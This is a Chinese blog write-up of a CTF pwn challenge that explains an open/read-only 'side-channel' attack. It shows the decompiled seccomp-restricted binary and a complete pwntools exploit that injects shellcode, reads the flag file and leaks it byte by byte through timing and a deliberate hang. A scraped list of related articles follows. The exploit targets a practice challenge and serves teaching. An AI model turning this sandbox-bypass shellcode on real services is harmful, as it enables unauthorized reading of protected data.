ORW-测信道攻击
做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击。主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端。这里可以通过把flag读到栈上,再逐个爆破比较,来确定flag。原理和web的时间盲注类似。
下面给出一个UNCTF的测信道攻击的例题:
1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3 unsigned int v3; // eax
4 __int64 v5; // [rsp+50h] [rbp-40h]
5 __int64 v6; // [rsp+58h] [rbp-38h]
6 __int128 buf; // [rsp+60h] [rbp-30h] BYREF
7 __int64 v8; // [rsp+70h] [rbp-20h]
8 unsigned __int64 v9; // [rsp+80h] [rbp-10h]
9
10 v9 = __readfsqword(0x28u);
11 sub_AE0(a1, a2, a3);
12 buf = 0LL;
13 v8 = 0LL;
14 puts("Are you a shellcode master?");
15 alarm(0x14u);
16 v3 = getpagesize();
17 v6 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
18 read(0, &buf, 0x18uLL);
19 prctl(38, 1LL, 0LL, 0LL, 0LL);
20 v5 = seccomp_init(0LL);
21 seccomp_rule_add(v5, 2147418112LL, 15LL, 0LL);
22 seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
23 seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
24 seccomp_rule_add(v5, 2147418112LL, 10LL, 0LL);
25 seccomp_load(v5);
26 *(_QWORD *)(v6 + 16) = v8;
27 *(_OWORD *)v6 = buf;
28 ((void (__fastcall *)(__int64, __int64))v6)(3735928559LL, 4919LL);
29 return 0LL;
30 }
主函数的开头mmap了一块大空间,然后读入数据到buf,接着会把分配的那块内存的开头赋为我们刚刚读入的内容,并且执行。
读入的0x18并不足够写入整个orw_shellcode,所以我们先写入一个shellcode来读取内容,再进行爆破。
下面是exp:
1 import time
2 from pwn import *
3
4 context.arch='amd64'
5
6 def getshellcode():
7 global s
8 shellcode = '''
9 mov rdi, 0
10 mov rsi, 0x10018
11 mov rdx, 0x250
12 syscall
13 nop
14 '''
15 s.recvline()
16 s.send(asm(shellcode))
17 sleep(0.1)
18
19 def pwn():
20 global s
21 flag = ''
22 count = 1
23 for i in range (len(flag),0x50):
24 left = 32
25 right = 127
26 while left < right:
27 s = process('./ezshell')
28 #s = remote('node2.hackingfor.fun',38235)
29 getshellcode()
30 mid = (left + right) >> 1
31 orw_shellcode = f'''
32 mov rdi, 0x67616c662f2e
33 push rdi
34 mov rdi, rsp
35 mov rsi, 0
36 mov rdx, 0
37 mov rax, 2
38 syscall
39 mov rdi, 3
40 mov rsi, rsp
41 mov rdx, 0x100
42 mov rax, 0
43 syscall
44 mov dl, byte ptr [rsp+{i}]
45 mov cl, {mid}
46 cmp dl, cl
47 ja loop
48 ret
49 loop:
50 jmp loop
51 '''
52 s.sendline(asm(orw_shellcode))
53 start_time = time.time()
54 try:
55 s.recv(timeout=0.2)
56 if(time.time() - start_time > 0.1):
57 left = mid + 1
58 except:
59 right = mid
60 s.close()
61 log.info('time-->'+str(count))
62 log.info(flag)
63 count +=1
64 flag += chr(left)
65 log.info(flag)
66 if(flag[-1] == '}'):
67 break
68 pwn()
69 s.interactive()
题目附件
提取码:2efj
ORW-测信道攻击的更多相关文章
- 嵌入式 -- WINKHUB 边信道攻击 (NAND Glitch)
0x00 前言 随着物联网IOT的飞速发展,各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识. 很多朋友困惑如何开始, 甚至卡在 ...
- intel:spectre&Meltdown侧信道攻击(三)—— raw hammer
今天介绍raw hammer攻击的原理:这次有点“标题党”了.事实上,raw hammer是基于DRAM内存的攻击:所以理论上,只要是用了DRAM内存的设备,不论是什么cpu(intel.amd,或则 ...
- intel:spectre&Meltdown侧信道攻击(一)
只要平时对安全领域感兴趣的读者肯定都听过spectre&Meltdown侧信道攻击,今天简单介绍一下这种攻击的原理( https://www.bilibili.com/video/av1814 ...
- 第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御
第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御 原文地址:http://bristolcrypto.blogspot.com/2015/07/52-things-numbe ...
- 第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法
第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法 原文地址:http://bristolcrypto.blogspot.com/2015/08/52-things-number-45-de ...
- 侧信道攻击,从喊666到入门之——Unicorn的环境构建
作者:backahasten 发表于小米安全中心微信公众号 0x00 前言 Unicorn可以模拟多种指令集的代码,在很多安全研究领域有很强大的作用,但是由于需要从头自己布置栈空间,代码段等虚拟执行环 ...
- intel:spectre&Meltdown侧信道攻击(四)—— cache mapping
前面简单介绍了row hammer攻击的原理和方法,为了更好理解这种底层硬件类攻击,今天介绍一下cpu的cache mapping: 众所周知,cpu从内存读数据,最开始用的是虚拟地址,需要通过分页机 ...
- intel:spectre&Meltdown侧信道攻击(二)
上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pd ...
- intel:spectre&Meltdown侧信道攻击(五)—— DRAM address mapping
前面介绍了row hammer,理论上很完美,实际操作的时候会面临很尴尬的问题:内存存储数据最小的单位是cell(就是个电容,充电是1,放电是0),无数个横着的cell组成row,无数个竖着的cell ...
随机推荐
- Linux基础命令---mysql
mysql mysql是一个简单的sql shell,它可以用来管理mysql数据库. 此命令的适用范围:RedHat.RHEL.Ubuntu.CentOS.Fedora. 1.语法 m ...
- Spring Cloud服务离线
服务离线,即某服务不能对外提供服务了.服务离线的原因有两种:服务下架与服务下线.这两种方案都是基于Actuator监控器实现的. 服务下架:将注册到Eureka Server中的Eureka Clie ...
- centos 7 zookeeper 单体和集群搭建
1.操作相关命令 1.0 安装命令 wget :下载解压包 tar -xzvf :解压 1.1 创建节点 create / node : 创建一个名字为node的 空节点 creat ...
- 【C/C++】two pointers/归并排序/原理/理解/实现/算法笔记4.6
1.two pointers 思路:对序列进行扫描的时候,根据序列本身的特性用两个下标i和j对序列进行扫描,从而降低算法复杂度. ·例1 在递增序列中找a + b = M while (i<j) ...
- opencv学习(四)——轨迹栏作为调色板
轨迹栏作为调色板 在这里,我们将创建一个简单的应用程序,以显示指定的颜色.有一个显示颜色的窗口,以及三个用于指定B.G.R颜色的轨迹栏.滑动轨迹栏,并相应地更改窗口颜色.默认情况下,初始颜色将设置为黑 ...
- 07-Spring5 WebFlux响应式编程
SpringWebFlux介绍 简介 SpringWebFlux是Spring5添加的新模块,用于Web开发,功能和SpringMvc类似的,WebFlux使用当前一种比较流行的响应式编程框架 使用传 ...
- 1、Linux下安装JDK
1.Linux下安装JDK 1 权限设置(可忽略) 1.1 安装过程与Windows安装过程相差不多,下载解压安装 1.切换root用户( 如果当前登录的用户权限够的话,请忽略这步) 由于创建目录的位 ...
- Nginx日志分析脚本
目录 一.简介 二.脚本 一.简介 运维工作是一个比较复杂的工作,有时候面对上万条的日志,如何作分析?难道一条条的分析? 这估计看两眼就要打哈欠了吧?聪明的人会选择脚本,这就是为什么现在提倡自动化运维 ...
- java 编程基础:注解的功能和作用,自定义注解
1,什么是注解: 从JDK5开始,Java增加了对元数据 (MetaData)的支持,也就是Annotation注解,这种注解与注释不一样,注解其实是代码里的特殊标记,这些标记可以在编译.类加载 运行 ...
- java 网络编程基础 TCP/IP协议:服务端ServerSocket;客户端Socket; 采用多线程方式处理网络请求
1.Java中客户端和服务器端通信的简单实例 Java中能接收其他通信实体连接请求的类是ServerSocket,ServerSocket对象用于监听来自客户端的Socket连接,如果没有连接,它将一 ...